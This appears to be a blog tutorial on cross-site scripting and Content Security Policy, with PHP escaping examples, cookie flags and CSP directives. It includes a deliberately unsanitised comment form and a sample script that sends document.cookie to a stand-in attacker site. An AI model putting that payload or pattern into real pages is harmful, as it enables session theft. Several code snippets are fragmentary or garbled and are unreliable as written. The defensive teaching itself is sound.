Content Security Policy
Helen Keller once said, Security is mostly a superstition. It doesn’t exist in nature, nor do the children of men as a whole experience it. Avoiding danger is no safer than in the long run than outright exposure. Life is either a daring adventure or nothing.
Well, the only thing I could think of is an XKCD meme.
In this article, I will focus on one particular web security threat and a emerging/novel approach to tackle the same. We all know or at least heard about Cross-Site Scripting (XSS) attacks. The Open Web Application Security Project (OWASP) defines XSS as:
Cross-Site Scripting (XSS) attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.
same set of permissions as the web application domain. Since browsers support the Same Origin Policy (and cross origin if server implements CORS) and that the injection occurred from the same domain as the application, the attacker could breach the DOM security and access resources which are otherwise restricted.
$comments = array();
$comment = $_POST[‘comment’];
* move it to the database
* read from database and print all comments posted so far
$comments = read_from_database();
<form action=’#’ method=’POST’>
<input type=’submit’ value=’post’>
Now, since no sanitization is performed on the comment (which is a user input) this could very much cause an XSS attack. If we post a comment, something like:
alert(“Hello XSS !!”);
So every time, we open the posts page, we see an alert with text “Hello XSS!”. Let’s make this worse. How about:
var userCookies = document.cookie;
window.location = ‘www.attackerSite.html?userCookies=‘+encodeURIComponent(userCookies);
The script actually stole the user’s cookies and forwarded the same to the attacker’s website. Okay, so how do we prevent XSS then? As we realized that all nuisance occurred because of the absence of input sanitization, so the big savior is to sanitize the user input.
1. All HTML should be escaped from the user’s input before storing them. For e.g. in PHP we have
- htmlentities – which translate any characters which possess special significance in HTML.
- htmlspecialchars – use this if NOT all html characters need to be translated which makes it faster.
$new = htmlspecialchars(“<a href=’test’>Test</a>”, ENT_QUOTES);
echo $new; // <a href='test'>Test</a>
prevent attribute injection.
3. Untrusted URLs should be validated. For e.g. consider this URL:
Now when wrapped around an anchor tag (without sanitization), it would look like:
This tag turns into an anchor tag which upon mouseover executes a script. So how do we escape it?
> Ensure that the string literal is enclosed in single quotes
> HTML-escape the surrounding attribute value
> Ensure that the surrounding attribute value is enclosed in double quotes
4. HTTP header splitting
Servers respond back to an HTTP request via an HTTP response which consists of the headers and the body. Headers are
separated by one CRLF (CR is Carriage Return and LF is Line Feed) and headers are separated from body by two CRLFs. If an
attacker smells the headers and tampers them then XSS is imminent. The most vulnerable of the headers is
the Location header. A Location header is issued by the server under two circumstances:
a. The requested URI has temporarily/permanently moved. This response contains the HTTP status code 3XX
b. the server notifies about the creation of a new resource at an URI. This response contains HTTP status code of 201 or 202.
If Location header contains the redirect URL that’s controlled by user input:
HTTP/1.1 302 Moved
Content–Type: text/html; charset=ISO–8859–1
Location: <?php echo $location; ?>
Moved <a href=‘<?php echo $location; ?>‘>here</a>
In this example, we see that for a request, the server has responded with a status code of 302 and the Location header. If
the Location header is not validated then an attacker could inject into it, something like:
Now if we see the response header, it would look like:
HTTP/1.1 302 Moved
Content–Type: text/html; charset=ISO–8859–1
Moved <a href=‘hello.world
Now note that response body is separated from headers by 2 CRLF. So, after the Set-Cookie header, the contents are
considered to be the response payload. Since the Location header doesn’t have a valid URL, browsers tend to drop it and paint
the payload. This causes the script to execute.
5. When using cookies for storing sessionID or other information, it’s advisable to set the HTTPOnly flag. This prevents any cookies
ifSecure = TRUE; //goes over HTTPS
_path = “/mySite/cookies”;
setCookie(“username”, “JohnDoe”, 3600,_path, ifSecure, ifHTTPOnly);
Here we’re setting a cookie which expires in 3600 seconds, runs only over HTTPS and is an HTTPOnly cookie.
6. Content Security Policy (CSP)
CSP logo (Mozilla)
Content Security Policy(CSP) is a new feature in browsers with the whole intention of mitigating XSS vulnerabilities.
p.s.: It should be noted that CSP is not a replacement for the existing tools to fight XSS, rather it should be considered
another layer of defense.
How does CSP work?
a. A website declares a policy, secure policy and browsers implement that policy.
b. A policy could be considered a set of rules or restrictions. Each policy shares information related to the sources of
resources and the type of resources to be loaded by the browser. Type of resources could be images, CSS files,
blacklisting the illegitimate ones.
c. A policy mandates its behavior through the use of directives. Each such directive defines the behavior for a particular
resource type. Following are a set of supported directives:
default-src : Define loading policy for all resources type in case of a resource type dedicated directive is not defined
script-src : Define which scripts the protected resource can execute
object-src : Define from where the protected resource can load plugins
style-src : Define which styles (CSS) the user applies to the protected resource
img-src : Define from where the protected resource can load images
media-src : Define from where the protected resource can load video and audio
frame-src : Define from where the protected resource can embed frames
font-src : Define from where the protected resource can load fonts
connect-src : Define which URIs the protected resource can load using script interfaces
form-action : Define which URIs can be used as the action of HTML form elements
sandbox : Specifies an HTML sandbox policy that the user agent applies to the protected resource
script-nonce : Define script execution by requiring the presence of the specified nonce on script elements
plugin-types : Define the set of plugins that can be invoked by the protected resource by limiting the types of
resources that can be embedded
reflected-xss : Instructs a user agent to activate or deactivate any heuristics used to filter or block reflected cross-site
scripting attacks, equivalent to the effects of the non-standard X-XSS-Protection header
report-uri : Specifies a URI to which the user agent sends reports about policy violation
d. A website declares a policy which is delivered to the client through an HTTP header called Content-Security
Content-Security-Policy: default-src ‘self’; img-src ‘*’; style-src ‘self’; script-src
Since the server is the most trustworthy source of information, the policies are hence dispatched from the server
through headers. In the example policy above, we find there are four directives each
separated by a semi-colon. Multiple sources in a directive are space delimited.
> default-src : this is the default directive with a value ‘self’, which mandates the browser to allow resources to load resources from the website’s domain/origin.
> img-src: load images from any source
> style-src : load style related files only from the website’s origin
> Script-src: load scripts only from sometrustedsite.com origin
The default-src directive operates over all resources but then the mention of specific directives override the default-
src directive. One could also send over multiple policies over multiple HTTP headers and then the intersection of
the policies is what is finally allowed by the browser.
Now, the browser receives this policy and continues rendering the page. If during rendition, a resource is loaded then the browser checks the source and filters it against the policy provided. If the sources provided in the policy do not
allow the source of the resource being loaded, the browser rejects the same. So lets say there was a script
file unallowedSource.com/index.js then the browser rejects the same and notifies in the console like:
Refused to load the script ‘unallowedSource.com/index.js’ because it violates the following
Content Security Policy directive: script-src ‘sometrustedsite.com’
A DOM event is also generated which the developer can listen to and take necessary actions if required. Apart from that,
it also has a reporting mechanism which sends the policy violation logs back to the server because this would help assess
the website’s activity and remove illegitimate sources or improve upon the policies.
e. Setting up CSP on the server:
On the server, we need to define a policy and then push it to the client.
PHP based implementation:
$policy = array(
$policyText = implode(“;”, $policy);
HttpResponse::setData(‘hello world ! You are protected via CSP.’);
f. Implications of CSP:
> If the site had a script tag somewhere in between the <body> tag like:
alert(“hello world !”);
Then such inline script executions will be barred because, once the policy is delivered to the browser, it’s tough to
determine the source of the snippet above i.e. whether it’s the website’s intent or an attacker’s. However, if it’s
imperative to put in inline scripts then the policy could be changed to:
script-src ‘self’ ‘unsafe-inline’
> Now, in case of DOM event-handlers like:
This suffers from the same failures as injecting inline scripts and hence are barred from executing.
> val() is EVIL and hence should be avoided 100% of the time although ‘unsafe-eval’ directive source exists to
allow eval() execution.
So in case we want to support the above with CSP, the mantra is to separate code from data. It’s worth trying moving
all inline scripts into out-of-line scripts. For e.g. for the mouseoverevent example described above, we could do:
In an out-of-line script file myDiv.js, we could do:
/** your stuff goes here */
g. Reacting to policy violations:
When a policy is violated, the user-agent dispatches a SecurityViolation DOM event. This event doesn’t bubble
up (an event-propagation mechanism) and is not cancellable at the Document object as well.
If the policy contains a report-uri directive, the user-agent then could report the violation to a specified URI. This
reporting needs to be done via:
> throwing an HTTP POST request to the report-uri
> the Content-type header for the request should be set as application/json
So upon violation, a JSON blob is generated and posted to the report-uri:
violated-directive: “script-src ‘someTrustedsite.com'”,
original-policy: “script-src ‘someTrustedsite.com’ report-uri ‘mySite/policies/report.php'”
The reports could be used hence to analyze of any malicious activity on the site or if the usage of improper policies which could break the website.